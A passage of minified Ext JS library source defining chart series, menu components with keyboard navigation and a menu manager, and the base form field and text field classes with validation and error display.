Ext.chart.CartesianSeries = Ext.extend(Ext.chart.Series, {xField:null, yField:null, showInLegend:true, axis:"primary"}); Ext.chart.ColumnSeries = Ext.extend(Ext.chart.CartesianSeries, {type:"column"}); Ext.chart.LineSeries = Ext.extend(Ext.chart.CartesianSeries, {type:"line"}); Ext.chart.BarSeries = Ext.extend(Ext.chart.CartesianSeries, {type:"bar"}); Ext.chart.PieSeries = Ext.extend(Ext.chart.Series, {type:"pie", dataField:null, categoryField:null}); Ext.menu.Menu = Ext.extend(Ext.Container, {minWidth:120, shadow:"sides", subMenuAlign:"tl-tr?", defaultAlign:"tl-bl?", allowOtherMenus:false, ignoreParentClicks:false, enableScrolling:true, maxHeight:null, scrollIncrement:24, showSeparator:true, defaultOffsets:[0, 0], plain:false, floating:true, zIndex:15000, hidden:true, layout:"menu", hideMode:"offsets", scrollerHeight:8, autoLayout:true, defaultType:"menuitem", bufferResize:false, initComponent:function () { if (Ext.isArray(this.initialConfig)) { Ext.apply(this, {items:this.initialConfig}) } this.addEvents("click", "mouseover", "mouseout", "itemclick"); Ext.menu.MenuMgr.register(this); if (this.floating) { Ext.EventManager.onWindowResize(this.hide, this) } else { if (this.initialConfig.hidden !== false) { this.hidden = false } this.internalDefaults = {hideOnClick:false} } Ext.menu.Menu.superclass.initComponent.call(this); if (this.autoLayout) { var a = this.doLayout.createDelegate(this, []); this.on({add:a, remove:a}) } }, getLayoutTarget:function () { return this.ul }, onRender:function (b, a) { if (!b) { b = Ext.getBody() } var c = {id:this.getId(), cls:"x-menu " + ((this.floating) ? "x-menu-floating x-layer " : "") + (this.cls || "") + (this.plain ? " x-menu-plain" : "") + (this.showSeparator ? "" : " x-menu-nosep"), style:this.style, cn:[ {tag:"a", cls:"x-menu-focus", href:"#", onclick:"return false;", tabIndex:"-1"}, {tag:"ul", cls:"x-menu-list"} ]}; if (this.floating) { this.el = new Ext.Layer({shadow:this.shadow, dh:c, constrain:false, parentEl:b, zindex:this.zIndex}) } else { this.el = b.createChild(c) } Ext.menu.Menu.superclass.onRender.call(this, b, a); if (!this.keyNav) { this.keyNav = new Ext.menu.MenuNav(this) } this.focusEl = this.el.child("a.x-menu-focus"); this.ul = this.el.child("ul.x-menu-list"); this.mon(this.ul, {scope:this, click:this.onClick, mouseover:this.onMouseOver, mouseout:this.onMouseOut}); if (this.enableScrolling) { this.mon(this.el, {scope:this, delegate:".x-menu-scroller", click:this.onScroll, mouseover:this.deactivateActive}) } }, findTargetItem:function (b) { var a = b.getTarget(".x-menu-list-item", this.ul, true); if (a && a.menuItemId) { return this.items.get(a.menuItemId) } }, onClick:function (b) { var a = this.findTargetItem(b); if (a) { if (a.isFormField) { this.setActiveItem(a) } else { if (a instanceof Ext.menu.BaseItem) { if (a.menu && this.ignoreParentClicks) { a.expandMenu(); b.preventDefault() } else { if (a.onClick) { a.onClick(b); this.fireEvent("click", this, a, b) } } } } } }, setActiveItem:function (a, b) { if (a != this.activeItem) { this.deactivateActive(); if ((this.activeItem = a).isFormField) { a.focus() } else { a.activate(b) } } else { if (b) { a.expandMenu() } } }, deactivateActive:function () { var b = this.activeItem; if (b) { if (b.isFormField) { if (b.collapse) { b.collapse() } } else { b.deactivate() } delete this.activeItem } }, tryActivate:function (g, e) { var b = this.items; for (var c = g, a = b.length; c >= 0 && c < a; c += e) { var d = b.get(c); if (d.isVisible() && !d.disabled && (d.canActivate || d.isFormField)) { this.setActiveItem(d, false); return d } } return false }, onMouseOver:function (b) { var a = this.findTargetItem(b); if (a) { if (a.canActivate && !a.disabled) { this.setActiveItem(a, true) } } this.over = true; this.fireEvent("mouseover", this, b, a) }, onMouseOut:function (b) { var a = this.findTargetItem(b); if (a) { if (a == this.activeItem && a.shouldDeactivate && a.shouldDeactivate(b)) { this.activeItem.deactivate(); delete this.activeItem } } this.over = false; this.fireEvent("mouseout", this, b, a) }, onScroll:function (d, b) { if (d) { d.stopEvent() } var a = this.ul.dom, c = Ext.fly(b).is(".x-menu-scroller-top"); a.scrollTop += this.scrollIncrement * (c ? -1 : 1); if (c ? a.scrollTop <= 0 : a.scrollTop + this.activeMax >= a.scrollHeight) { this.onScrollerOut(null, b) } }, onScrollerIn:function (d, b) { var a = this.ul.dom, c = Ext.fly(b).is(".x-menu-scroller-top"); if (c ? a.scrollTop > 0 : a.scrollTop + this.activeMax < a.scrollHeight) { Ext.fly(b).addClass(["x-menu-item-active", "x-menu-scroller-active"]) } }, onScrollerOut:function (b, a) { Ext.fly(a).removeClass(["x-menu-item-active", "x-menu-scroller-active"]) }, show:function (b, c, a) { if (this.floating) { this.parentMenu = a; if (!this.el) { this.render(); this.doLayout(false, true) } this.showAt(this.el.getAlignToXY(b, c || this.defaultAlign, this.defaultOffsets), a) } else { Ext.menu.Menu.superclass.show.call(this) } }, showAt:function (b, a) { if (this.fireEvent("beforeshow", this) !== false) { this.parentMenu = a; if (!this.el) { this.render() } if (this.enableScrolling) { this.el.setXY(b); b[1] = this.constrainScroll(b[1]); b = [this.el.adjustForConstraints(b)[0], b[1]] } else { b = this.el.adjustForConstraints(b) } this.el.setXY(b); this.el.show(); Ext.menu.Menu.superclass.onShow.call(this); if (Ext.isIE) { this.fireEvent("autosize", this); if (!Ext.isIE8) { this.el.repaint() } } this.hidden = false; this.focus(); this.fireEvent("show", this) } }, constrainScroll:function (i) { var b, d = this.ul.setHeight("auto").getHeight(), a = i, h, e, g, c; if (this.floating) { e = Ext.fly(this.el.dom.parentNode); g = e.getScroll().top; c = e.getViewSize().height; h = i - g; b = this.maxHeight ? this.maxHeight : c - h; if (d > c) { b = c; a = i - h } else { if (b < d) { a = i - (d - b); b = d } } } else { b = this.getHeight() } if (this.maxHeight) { b = Math.min(this.maxHeight, b) } if (d > b && b > 0) { this.activeMax = b - this.scrollerHeight * 2 - this.el.getFrameWidth("tb") - Ext.num(this.el.shadowOffset, 0); this.ul.setHeight(this.activeMax); this.createScrollers(); this.el.select(".x-menu-scroller").setDisplayed("") } else { this.ul.setHeight(d); this.el.select(".x-menu-scroller").setDisplayed("none") } this.ul.dom.scrollTop = 0; return a }, createScrollers:function () { if (!this.scroller) { this.scroller = {pos:0, top:this.el.insertFirst({tag:"div", cls:"x-menu-scroller x-menu-scroller-top", html:" "}), bottom:this.el.createChild({tag:"div", cls:"x-menu-scroller x-menu-scroller-bottom", html:" "})}; this.scroller.top.hover(this.onScrollerIn, this.onScrollerOut, this); this.scroller.topRepeater = new Ext.util.ClickRepeater(this.scroller.top, {listeners:{click:this.onScroll.createDelegate(this, [null, this.scroller.top], false)}}); this.scroller.bottom.hover(this.onScrollerIn, this.onScrollerOut, this); this.scroller.bottomRepeater = new Ext.util.ClickRepeater(this.scroller.bottom, {listeners:{click:this.onScroll.createDelegate(this, [null, this.scroller.bottom], false)}}) } }, onLayout:function () { if (this.isVisible()) { if (this.enableScrolling) { this.constrainScroll(this.el.getTop()) } if (this.floating) { this.el.sync() } } }, focus:function () { if (!this.hidden) { this.doFocus.defer(50, this) } }, doFocus:function () { if (!this.hidden) { this.focusEl.focus() } }, hide:function (a) { if (!this.isDestroyed) { this.deepHide = a; Ext.menu.Menu.superclass.hide.call(this); delete this.deepHide } }, onHide:function () { Ext.menu.Menu.superclass.onHide.call(this); this.deactivateActive(); if (this.el && this.floating) { this.el.hide() } var a = this.parentMenu; if (this.deepHide === true && a) { if (a.floating) { a.hide(true) } else { a.deactivateActive() } } }, lookupComponent:function (a) { if (Ext.isString(a)) { a = (a == "separator" || a == "-") ? new Ext.menu.Separator() : new Ext.menu.TextItem(a); this.applyDefaults(a) } else { if (Ext.isObject(a)) { a = this.getMenuItem(a) } else { if (a.tagName || a.el) { a = new Ext.BoxComponent({el:a}) } } } return a }, applyDefaults:function (b) { if (!Ext.isString(b)) { b = Ext.menu.Menu.superclass.applyDefaults.call(this, b); var a = this.internalDefaults; if (a) { if (b.events) { Ext.applyIf(b.initialConfig, a); Ext.apply(b, a) } else { Ext.applyIf(b, a) } } } return b }, getMenuItem:function (a) { a.ownerCt = this; if (!a.isXType) { if (!a.xtype && Ext.isBoolean(a.checked)) { return new Ext.menu.CheckItem(a) } return Ext.create(a, this.defaultType) } return a }, addSeparator:function () { return this.add(new Ext.menu.Separator()) }, addElement:function (a) { return this.add(new Ext.menu.BaseItem({el:a})) }, addItem:function (a) { return this.add(a) }, addMenuItem:function (a) { return this.add(this.getMenuItem(a)) }, addText:function (a) { return this.add(new Ext.menu.TextItem(a)) }, onDestroy:function () { Ext.EventManager.removeResizeListener(this.hide, this); var a = this.parentMenu; if (a && a.activeChild == this) { delete a.activeChild } delete this.parentMenu; Ext.menu.Menu.superclass.onDestroy.call(this); Ext.menu.MenuMgr.unregister(this); if (this.keyNav) { this.keyNav.disable() } var b = this.scroller; if (b) { Ext.destroy(b.topRepeater, b.bottomRepeater, b.top, b.bottom) } Ext.destroy(this.el, this.focusEl, this.ul) }}); Ext.reg("menu", Ext.menu.Menu); Ext.menu.MenuNav = Ext.extend(Ext.KeyNav, function () { function a(d, c) { if (!c.tryActivate(c.items.indexOf(c.activeItem) - 1, -1)) { c.tryActivate(c.items.length - 1, -1) } } function b(d, c) { if (!c.tryActivate(c.items.indexOf(c.activeItem) + 1, 1)) { c.tryActivate(0, 1) } } return{constructor:function (c) { Ext.menu.MenuNav.superclass.constructor.call(this, c.el); this.scope = this.menu = c }, doRelay:function (g, d) { var c = g.getKey(); if (this.menu.activeItem && this.menu.activeItem.isFormField && c != g.TAB) { return false } if (!this.menu.activeItem && g.isNavKeyPress() && c != g.SPACE && c != g.RETURN) { this.menu.tryActivate(0, 1); return false } return d.call(this.scope || this, g, this.menu) }, tab:function (d, c) { d.stopEvent(); if (d.shiftKey) { a(d, c) } else { b(d, c) } }, up:a, down:b, right:function (d, c) { if (c.activeItem) { c.activeItem.expandMenu(true) } }, left:function (d, c) { c.hide(); if (c.parentMenu && c.parentMenu.activeItem) { c.parentMenu.activeItem.activate() } }, enter:function (d, c) { if (c.activeItem) { d.stopPropagation(); c.activeItem.onClick(d); c.fireEvent("click", this, c.activeItem); return true } }} }()); Ext.menu.MenuMgr = function () { var h, e, b, d = {}, a = false, l = new Date(); function n() { h = {}; e = new Ext.util.MixedCollection(); b = Ext.getDoc().addKeyListener(27, j); b.disable() } function j() { if (e && e.length > 0) { var o = e.clone(); o.each(function (p) { p.hide() }); return true } return false } function g(o) { e.remove(o); if (e.length < 1) { b.disable(); Ext.getDoc().un("mousedown", m); a = false } } function k(o) { var p = e.last(); l = new Date(); e.add(o); if (!a) { b.enable(); Ext.getDoc().on("mousedown", m); a = true } if (o.parentMenu) { o.getEl().setZIndex(parseInt(o.parentMenu.getEl().getStyle("z-index"), 10) + 3); o.parentMenu.activeChild = o } else { if (p && !p.isDestroyed && p.isVisible()) { o.getEl().setZIndex(parseInt(p.getEl().getStyle("z-index"), 10) + 3) } } } function c(o) { if (o.activeChild) { o.activeChild.hide() } if (o.autoHideTimer) { clearTimeout(o.autoHideTimer); delete o.autoHideTimer } } function i(o) { var p = o.parentMenu; if (!p && !o.allowOtherMenus) { j() } else { if (p && p.activeChild) { p.activeChild.hide() } } } function m(o) { if (l.getElapsed() > 50 && e.length > 0 && !o.getTarget(".x-menu")) { j() } } return{hideAll:function () { return j() }, register:function (o) { if (!h) { n() } h[o.id] = o; o.on({beforehide:c, hide:g, beforeshow:i, show:k}) }, get:function (o) { if (typeof o == "string") { if (!h) { return null } return h[o] } else { if (o.events) { return o } else { if (typeof o.length == "number") { return new Ext.menu.Menu({items:o}) } else { return Ext.create(o, "menu") } } } }, unregister:function (o) { delete h[o.id]; o.un("beforehide", c); o.un("hide", g); o.un("beforeshow", i); o.un("show", k) }, registerCheckable:function (o) { var p = o.group; if (p) { if (!d[p]) { d[p] = [] } d[p].push(o) } }, unregisterCheckable:function (o) { var p = o.group; if (p) { d[p].remove(o) } }, onCheckChange:function (q, r) { if (q.group && r) { var t = d[q.group], p = 0, o = t.length, s; for (; p < o; p++) { s = t[p]; if (s != q) { s.setChecked(false) } } } }, getCheckedItem:function (q) { var r = d[q]; if (r) { for (var p = 0, o = r.length; p < o; p++) { if (r[p].checked) { return r[p] } } } return null }, setCheckedItem:function (q, s) { var r = d[q]; if (r) { for (var p = 0, o = r.length; p < o; p++) { if (r[p].id == s) { r[p].setChecked(true) } } } return null }} }(); Ext.menu.BaseItem = Ext.extend(Ext.Component, {canActivate:false, activeClass:"x-menu-item-active", hideOnClick:true, clickHideDelay:1, ctype:"Ext.menu.BaseItem", actionMode:"container", initComponent:function () { Ext.menu.BaseItem.superclass.initComponent.call(this); this.addEvents("click", "activate", "deactivate"); if (this.handler) { this.on("click", this.handler, this.scope) } }, onRender:function (b, a) { Ext.menu.BaseItem.superclass.onRender.apply(this, arguments); if (this.ownerCt && this.ownerCt instanceof Ext.menu.Menu) { this.parentMenu = this.ownerCt } else { this.container.addClass("x-menu-list-item"); this.mon(this.el, {scope:this, click:this.onClick, mouseenter:this.activate, mouseleave:this.deactivate}) } }, setHandler:function (b, a) { if (this.handler) { this.un("click", this.handler, this.scope) } this.on("click", this.handler = b, this.scope = a) }, onClick:function (a) { if (!this.disabled && this.fireEvent("click", this, a) !== false && (this.parentMenu && this.parentMenu.fireEvent("itemclick", this, a) !== false)) { this.handleClick(a) } else { a.stopEvent() } }, activate:function () { if (this.disabled) { return false } var a = this.container; a.addClass(this.activeClass); this.region = a.getRegion().adjust(2, 2, -2, -2); this.fireEvent("activate", this); return true }, deactivate:function () { this.container.removeClass(this.activeClass); this.fireEvent("deactivate", this) }, shouldDeactivate:function (a) { return !this.region || !this.region.contains(a.getPoint()) }, handleClick:function (b) { var a = this.parentMenu; if (this.hideOnClick) { if (a.floating) { this.clickHideDelayTimer = a.hide.defer(this.clickHideDelay, a, [true]) } else { a.deactivateActive() } } }, beforeDestroy:function () { clearTimeout(this.clickHideDelayTimer); Ext.menu.BaseItem.superclass.beforeDestroy.call(this) }, expandMenu:Ext.emptyFn, hideMenu:Ext.emptyFn}); Ext.reg("menubaseitem", Ext.menu.BaseItem); Ext.menu.TextItem = Ext.extend(Ext.menu.BaseItem, {hideOnClick:false, itemCls:"x-menu-text", constructor:function (a) { if (typeof a == "string") { a = {text:a} } Ext.menu.TextItem.superclass.constructor.call(this, a) }, onRender:function () { var a = document.createElement("span"); a.className = this.itemCls; a.innerHTML = this.text; this.el = a; Ext.menu.TextItem.superclass.onRender.apply(this, arguments) }}); Ext.reg("menutextitem", Ext.menu.TextItem); Ext.menu.Separator = Ext.extend(Ext.menu.BaseItem, {itemCls:"x-menu-sep", hideOnClick:false, activeClass:"", onRender:function (a) { var b = document.createElement("span"); b.className = this.itemCls; b.innerHTML = " "; this.el = b; a.addClass("x-menu-sep-li"); Ext.menu.Separator.superclass.onRender.apply(this, arguments) }}); Ext.reg("menuseparator", Ext.menu.Separator); Ext.menu.Item = Ext.extend(Ext.menu.BaseItem, {itemCls:"x-menu-item", canActivate:true, showDelay:200, altText:"", hideDelay:200, ctype:"Ext.menu.Item", initComponent:function () { Ext.menu.Item.superclass.initComponent.call(this); if (this.menu) { if (Ext.isArray(this.menu)) { this.menu = {items:this.menu} } if (Ext.isObject(this.menu)) { this.menu.ownerCt = this } this.menu = Ext.menu.MenuMgr.get(this.menu); this.menu.ownerCt = undefined } }, onRender:function (d, b) { if (!this.itemTpl) { this.itemTpl = Ext.menu.Item.prototype.itemTpl = new Ext.XTemplate('', ' target="{hrefTarget}"', "", ">", '{altText}', '{text}', "") } var c = this.getTemplateArgs(); this.el = b ? this.itemTpl.insertBefore(b, c, true) : this.itemTpl.append(d, c, true); this.iconEl = this.el.child("img.x-menu-item-icon"); this.textEl = this.el.child(".x-menu-item-text"); if (!this.href) { this.mon(this.el, "click", Ext.emptyFn, null, {preventDefault:true}) } Ext.menu.Item.superclass.onRender.call(this, d, b) }, getTemplateArgs:function () { return{id:this.id, cls:this.itemCls + (this.menu ? " x-menu-item-arrow" : "") + (this.cls ? " " + this.cls : ""), href:this.href || "#", hrefTarget:this.hrefTarget, icon:this.icon || Ext.BLANK_IMAGE_URL, iconCls:this.iconCls || "", text:this.itemText || this.text || " ", altText:this.altText || ""} }, setText:function (a) { this.text = a || " "; if (this.rendered) { this.textEl.update(this.text); this.parentMenu.layout.doAutoSize() } }, setIconClass:function (a) { var b = this.iconCls; this.iconCls = a; if (this.rendered) { this.iconEl.replaceClass(b, this.iconCls) } }, beforeDestroy:function () { clearTimeout(this.showTimer); clearTimeout(this.hideTimer); if (this.menu) { delete this.menu.ownerCt; this.menu.destroy() } Ext.menu.Item.superclass.beforeDestroy.call(this) }, handleClick:function (a) { if (!this.href) { a.stopEvent() } Ext.menu.Item.superclass.handleClick.apply(this, arguments) }, activate:function (a) { if (Ext.menu.Item.superclass.activate.apply(this, arguments)) { this.focus(); if (a) { this.expandMenu() } } return true }, shouldDeactivate:function (a) { if (Ext.menu.Item.superclass.shouldDeactivate.call(this, a)) { if (this.menu && this.menu.isVisible()) { return !this.menu.getEl().getRegion().contains(a.getPoint()) } return true } return false }, deactivate:function () { Ext.menu.Item.superclass.deactivate.apply(this, arguments); this.hideMenu() }, expandMenu:function (a) { if (!this.disabled && this.menu) { clearTimeout(this.hideTimer); delete this.hideTimer; if (!this.menu.isVisible() && !this.showTimer) { this.showTimer = this.deferExpand.defer(this.showDelay, this, [a]) } else { if (this.menu.isVisible() && a) { this.menu.tryActivate(0, 1) } } } }, deferExpand:function (a) { delete this.showTimer; this.menu.show(this.container, this.parentMenu.subMenuAlign || "tl-tr?", this.parentMenu); if (a) { this.menu.tryActivate(0, 1) } }, hideMenu:function () { clearTimeout(this.showTimer); delete this.showTimer; if (!this.hideTimer && this.menu && this.menu.isVisible()) { this.hideTimer = this.deferHide.defer(this.hideDelay, this) } }, deferHide:function () { delete this.hideTimer; if (this.menu.over) { this.parentMenu.setActiveItem(this, false) } else { this.menu.hide() } }}); Ext.reg("menuitem", Ext.menu.Item); Ext.menu.CheckItem = Ext.extend(Ext.menu.Item, {itemCls:"x-menu-item x-menu-check-item", groupClass:"x-menu-group-item", checked:false, ctype:"Ext.menu.CheckItem", initComponent:function () { Ext.menu.CheckItem.superclass.initComponent.call(this); this.addEvents("beforecheckchange", "checkchange"); if (this.checkHandler) { this.on("checkchange", this.checkHandler, this.scope) } Ext.menu.MenuMgr.registerCheckable(this) }, onRender:function (a) { Ext.menu.CheckItem.superclass.onRender.apply(this, arguments); if (this.group) { this.el.addClass(this.groupClass) } if (this.checked) { this.checked = false; this.setChecked(true, true) } }, destroy:function () { Ext.menu.MenuMgr.unregisterCheckable(this); Ext.menu.CheckItem.superclass.destroy.apply(this, arguments) }, setChecked:function (b, a) { var c = a === true; if (this.checked != b && (c || this.fireEvent("beforecheckchange", this, b) !== false)) { Ext.menu.MenuMgr.onCheckChange(this, b); if (this.container) { this.container[b ? "addClass" : "removeClass"]("x-menu-item-checked") } this.checked = b; if (!c) { this.fireEvent("checkchange", this, b) } } }, handleClick:function (a) { if (!this.disabled && !(this.checked && this.group)) { this.setChecked(!this.checked) } Ext.menu.CheckItem.superclass.handleClick.apply(this, arguments) }}); Ext.reg("menucheckitem", Ext.menu.CheckItem); Ext.menu.DateMenu = Ext.extend(Ext.menu.Menu, {enableScrolling:false, hideOnClick:true, pickerId:null, cls:"x-date-menu", initComponent:function () { this.on("beforeshow", this.onBeforeShow, this); if (this.strict = (Ext.isIE7 && Ext.isStrict)) { this.on("show", this.onShow, this, {single:true, delay:20}) } Ext.apply(this, {plain:true, showSeparator:false, items:this.picker = new Ext.DatePicker(Ext.applyIf({internalRender:this.strict || !Ext.isIE, ctCls:"x-menu-date-item", id:this.pickerId}, this.initialConfig))}); this.picker.purgeListeners(); Ext.menu.DateMenu.superclass.initComponent.call(this); this.relayEvents(this.picker, ["select"]); this.on("show", this.picker.focus, this.picker); this.on("select", this.menuHide, this); if (this.handler) { this.on("select", this.handler, this.scope || this) } }, menuHide:function () { if (this.hideOnClick) { this.hide(true) } }, onBeforeShow:function () { if (this.picker) { this.picker.hideMonthPicker(true) } }, onShow:function () { var a = this.picker.getEl(); a.setWidth(a.getWidth()) }}); Ext.reg("datemenu", Ext.menu.DateMenu); Ext.menu.ColorMenu = Ext.extend(Ext.menu.Menu, {enableScrolling:false, hideOnClick:true, cls:"x-color-menu", paletteId:null, initComponent:function () { Ext.apply(this, {plain:true, showSeparator:false, items:this.palette = new Ext.ColorPalette(Ext.applyIf({id:this.paletteId}, this.initialConfig))}); this.palette.purgeListeners(); Ext.menu.ColorMenu.superclass.initComponent.call(this); this.relayEvents(this.palette, ["select"]); this.on("select", this.menuHide, this); if (this.handler) { this.on("select", this.handler, this.scope || this) } }, menuHide:function () { if (this.hideOnClick) { this.hide(true) } }}); Ext.reg("colormenu", Ext.menu.ColorMenu); Ext.form.Field = Ext.extend(Ext.BoxComponent, {invalidClass:"x-form-invalid", invalidText:"The value in this field is invalid", focusClass:"x-form-focus", validationEvent:"keyup", validateOnBlur:true, validationDelay:250, defaultAutoCreate:{tag:"input", type:"text", size:"20", autocomplete:"off"}, fieldClass:"x-form-field", msgTarget:"qtip", msgFx:"normal", readOnly:false, disabled:false, submitValue:true, isFormField:true, msgDisplay:"", hasFocus:false, initComponent:function () { Ext.form.Field.superclass.initComponent.call(this); this.addEvents("focus", "blur", "specialkey", "change", "invalid", "valid") }, getName:function () { return this.rendered && this.el.dom.name ? this.el.dom.name : this.name || this.id || "" }, onRender:function (c, a) { if (!this.el) { var b = this.getAutoCreate(); if (!b.name) { b.name = this.name || this.id } if (this.inputType) { b.type = this.inputType } this.autoEl = b } Ext.form.Field.superclass.onRender.call(this, c, a); if (this.submitValue === false) { this.el.dom.removeAttribute("name") } var d = this.el.dom.type; if (d) { if (d == "password") { d = "text" } this.el.addClass("x-form-" + d) } if (this.readOnly) { this.setReadOnly(true) } if (this.tabIndex !== undefined) { this.el.dom.setAttribute("tabIndex", this.tabIndex) } this.el.addClass([this.fieldClass, this.cls]) }, getItemCt:function () { return this.itemCt }, initValue:function () { if (this.value !== undefined) { this.setValue(this.value) } else { if (!Ext.isEmpty(this.el.dom.value) && this.el.dom.value != this.emptyText) { this.setValue(this.el.dom.value) } } this.originalValue = this.getValue() }, isDirty:function () { if (this.disabled || !this.rendered) { return false } return String(this.getValue()) !== String(this.originalValue) }, setReadOnly:function (a) { if (this.rendered) { this.el.dom.readOnly = a } this.readOnly = a }, afterRender:function () { Ext.form.Field.superclass.afterRender.call(this); this.initEvents(); this.initValue() }, fireKey:function (a) { if (a.isSpecialKey()) { this.fireEvent("specialkey", this, a) } }, reset:function () { this.setValue(this.originalValue); this.clearInvalid() }, initEvents:function () { this.mon(this.el, Ext.EventManager.getKeyEvent(), this.fireKey, this); this.mon(this.el, "focus", this.onFocus, this); this.mon(this.el, "blur", this.onBlur, this, this.inEditor ? {buffer:10} : null) }, preFocus:Ext.emptyFn, onFocus:function () { this.preFocus(); if (this.focusClass) { this.el.addClass(this.focusClass) } if (!this.hasFocus) { this.hasFocus = true; this.startValue = this.getValue(); this.fireEvent("focus", this) } }, beforeBlur:Ext.emptyFn, onBlur:function () { this.beforeBlur(); if (this.focusClass) { this.el.removeClass(this.focusClass) } this.hasFocus = false; if (this.validationEvent !== false && (this.validateOnBlur || this.validationEvent == "blur")) { this.validate() } var a = this.getValue(); if (String(a) !== String(this.startValue)) { this.fireEvent("change", this, a, this.startValue) } this.fireEvent("blur", this); this.postBlur() }, postBlur:Ext.emptyFn, isValid:function (a) { if (this.disabled) { return true } var c = this.preventMark; this.preventMark = a === true; var b = this.validateValue(this.processValue(this.getRawValue()), a); this.preventMark = c; return b }, validate:function () { if (this.disabled || this.validateValue(this.processValue(this.getRawValue()))) { this.clearInvalid(); return true } return false }, processValue:function (a) { return a }, validateValue:function (b) { var a = this.getErrors(b)[0]; if (a == undefined) { return true } else { this.markInvalid(a); return false } }, getErrors:function () { return[] }, getActiveError:function () { return this.activeError || "" }, markInvalid:function (c) { if (this.rendered && !this.preventMark) { c = c || this.invalidText; var a = this.getMessageHandler(); if (a) { a.mark(this, c) } else { if (this.msgTarget) { this.el.addClass(this.invalidClass); var b = Ext.getDom(this.msgTarget); if (b) { b.innerHTML = c; b.style.display = this.msgDisplay } } } } this.setActiveError(c) }, clearInvalid:function () { if (this.rendered && !this.preventMark) { this.el.removeClass(this.invalidClass); var a = this.getMessageHandler(); if (a) { a.clear(this) } else { if (this.msgTarget) { this.el.removeClass(this.invalidClass); var b = Ext.getDom(this.msgTarget); if (b) { b.innerHTML = ""; b.style.display = "none" } } } } this.unsetActiveError() }, setActiveError:function (b, a) { this.activeError = b; if (a !== true) { this.fireEvent("invalid", this, b) } }, unsetActiveError:function (a) { delete this.activeError; if (a !== true) { this.fireEvent("valid", this) } }, getMessageHandler:function () { return Ext.form.MessageTargets[this.msgTarget] }, getErrorCt:function () { return this.el.findParent(".x-form-element", 5, true) || this.el.findParent(".x-form-field-wrap", 5, true) }, alignErrorEl:function () { this.errorEl.setWidth(this.getErrorCt().getWidth(true) - 20) }, alignErrorIcon:function () { this.errorIcon.alignTo(this.el, "tl-tr", [2, 0]) }, getRawValue:function () { var a = this.rendered ? this.el.getValue() : Ext.value(this.value, ""); if (a === this.emptyText) { a = "" } return a }, getValue:function () { if (!this.rendered) { return this.value } var a = this.el.getValue(); if (a === this.emptyText || a === undefined) { a = "" } return a }, setRawValue:function (a) { return this.rendered ? (this.el.dom.value = (Ext.isEmpty(a) ? "" : a)) : "" }, setValue:function (a) { this.value = a; if (this.rendered) { this.el.dom.value = (Ext.isEmpty(a) ? "" : a); this.validate() } return this }, append:function (a) { this.setValue([this.getValue(), a].join("")) }}); Ext.form.MessageTargets = {qtip:{mark:function (a, b) { a.el.addClass(a.invalidClass); a.el.dom.qtip = b; a.el.dom.qclass = "x-form-invalid-tip"; if (Ext.QuickTips) { Ext.QuickTips.enable() } }, clear:function (a) { a.el.removeClass(a.invalidClass); a.el.dom.qtip = "" }}, title:{mark:function (a, b) { a.el.addClass(a.invalidClass); a.el.dom.title = b }, clear:function (a) { a.el.dom.title = "" }}, under:{mark:function (b, c) { b.el.addClass(b.invalidClass); if (!b.errorEl) { var a = b.getErrorCt(); if (!a) { b.el.dom.title = c; return } b.errorEl = a.createChild({cls:"x-form-invalid-msg"}); b.on("resize", b.alignErrorEl, b); b.on("destroy", function () { Ext.destroy(this.errorEl) }, b) } b.alignErrorEl(); b.errorEl.update(c); Ext.form.Field.msgFx[b.msgFx].show(b.errorEl, b) }, clear:function (a) { a.el.removeClass(a.invalidClass); if (a.errorEl) { Ext.form.Field.msgFx[a.msgFx].hide(a.errorEl, a) } else { a.el.dom.title = "" } }}, side:{mark:function (b, c) { b.el.addClass(b.invalidClass); if (!b.errorIcon) { var a = b.getErrorCt(); if (!a) { b.el.dom.title = c; return } b.errorIcon = a.createChild({cls:"x-form-invalid-icon"}); if (b.ownerCt) { b.ownerCt.on("afterlayout", b.alignErrorIcon, b); b.ownerCt.on("expand", b.alignErrorIcon, b) } b.on("resize", b.alignErrorIcon, b); b.on("destroy", function () { Ext.destroy(this.errorIcon) }, b) } b.alignErrorIcon(); b.errorIcon.dom.qtip = c; b.errorIcon.dom.qclass = "x-form-invalid-tip"; b.errorIcon.show() }, clear:function (a) { a.el.removeClass(a.invalidClass); if (a.errorIcon) { a.errorIcon.dom.qtip = ""; a.errorIcon.hide() } else { a.el.dom.title = "" } }}}; Ext.form.Field.msgFx = {normal:{show:function (a, b) { a.setDisplayed("block") }, hide:function (a, b) { a.setDisplayed(false).update("") }}, slide:{show:function (a, b) { a.slideIn("t", {stopFx:true}) }, hide:function (a, b) { a.slideOut("t", {stopFx:true, useDisplay:true}) }}, slideRight:{show:function (a, b) { a.fixDisplay(); a.alignTo(b.el, "tl-tr"); a.slideIn("l", {stopFx:true}) }, hide:function (a, b) { a.slideOut("l", {stopFx:true, useDisplay:true}) }}}; Ext.reg("field", Ext.form.Field); Ext.form.TextField = Ext.extend(Ext.form.Field, {grow:false, growMin:30, growMax:800, vtype:null, maskRe:null, disableKeyFilter:false, allowBlank:true, minLength:0, maxLength:Number.MAX_VALUE, minLengthText:"The minimum length for this field is {0}", maxLengthText:"The maximum length for this field is {0}", selectOnFocus:false, blankText:"This field is required", validator:null, regex:null, regexText:"", emptyText:null, emptyClass:"x-form-empty-field", initComponent:function () { Ext.form.TextField.superclass.initComponent.call(this); this.addEvents("autosize", "keydown", "keyup", "keypress") }, initEvents:function () { Ext.form.TextField.superclass.initEvents.call(this); if (this.validationEvent == "keyup") { this.validationTask = new Ext.util.DelayedTask(this.validate, this); this.mon(this.el, "keyup", this.filterValidation, this) } else { if (this.validationEvent !== false && this.validationEvent != "blur") { this.mon(this.el, this.validationEvent, this.validate, this, {buffer:this.validationDelay}) } } if (this.selectOnFocus || this.emptyText) { this.mon(this.el, "mousedown", this.onMouseDown, this); if (this.emptyText) { this.applyEmptyText() } } if (this.maskRe || (this.vtype && this.disableKeyFilter !== true && (this.maskRe = Ext.form.VTypes[this.vtype + "Mask"]))) { this.mon(this.el, "keypress", this.filterKeys, this) } if (this.grow) { this.mon(this.el, "keyup", this.onKeyUpBuffered, this, {buffer:50}); this.mon(this.el, "click", this.autoSize, this) } if (this.enableKeyEvents) { this.mon(this.el, {scope:this, keyup:this.onKeyUp, keydown:this.onKeyDown, keypress:this.onKeyPress}) } }, onMouseDown:function (a) { if (!this.hasFocus) { this.mon(this.el, "mouseup", Ext.emptyFn, this, {single:true, preventDefault:true}) } }, processValue:function (a) { if (this.stripCharsRe) { var b = a.replace(this.stripCharsRe, ""); if (b !== a) { this.setRawValue(b); return b } } return a }, filterValidation:function (a) { if (!a.isNavKeyPress()) { 